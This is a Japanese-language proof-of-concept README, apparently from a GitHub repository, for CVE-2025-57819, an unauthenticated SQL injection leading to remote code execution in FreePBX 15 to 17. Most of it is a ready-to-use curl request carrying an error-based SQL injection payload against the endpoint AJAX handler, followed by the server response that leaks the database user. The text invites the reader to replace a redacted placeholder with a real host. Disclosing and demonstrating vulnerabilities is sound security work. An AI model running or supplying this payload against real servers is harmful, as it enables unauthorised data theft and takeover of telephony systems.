muhammadwaseem29/sql-injection-and-rce_cve-2025-57819FreePBX バージョン15、16、17には、エンドポイントにおけるユーザー提供データのサニタイズ不足に起因するリモートコード実行（RCE）の脆弱性が存在します。
FreePBXのバージョン15、16、17には、エンドポイントにおけるユーザー指定データのサニタイズ不足に起因する**リモートコード実行（RCE）**の脆弱性が存在します。
認証されていない攻撃者は、データベースを操作してリモートコード実行を達成できます。このエクスプロイトは認証を必要としません。
注記: ターゲットは伏せられています。認可されたテストを実行する際は、
[REDACTED_TARGET]を実際のホストに置き換えてください。
curl -i -k "https://[REDACTED_TARGET]/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Sep 2025 08:35:29 GMT
Server: Apache/2.4.6 (Sangoma) OpenSSL/1.0.1e-fips PHP/5.6.31
X-Powered-By: PHP/5.6.31
Set-Cookie: PHPSESSID=fmt7o0oecththmves36nijvfu7; expires=Sun, 12-Oct-2025 08:35:29 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":207}}
これが証明となる理由: レスポンスに ~USER:freepbxuser@localhost~ が含まれています — 認証不要のリクエストによるSQLインジェクション／データ漏えいを裏付けています。
認証不要でのリモートデータベース操作により、サーバー上で任意のコード実行が可能になります — システム全体が侵害される可能性があります。
このリポジトリとPoCは、教育および認可されたセキュリティ研究の目的のみで提供されます。明示的な許可なくシステムをテストまたは悪用しないでください。作者は、このPoCの不正使用またはこれによる損害について責任を負いません。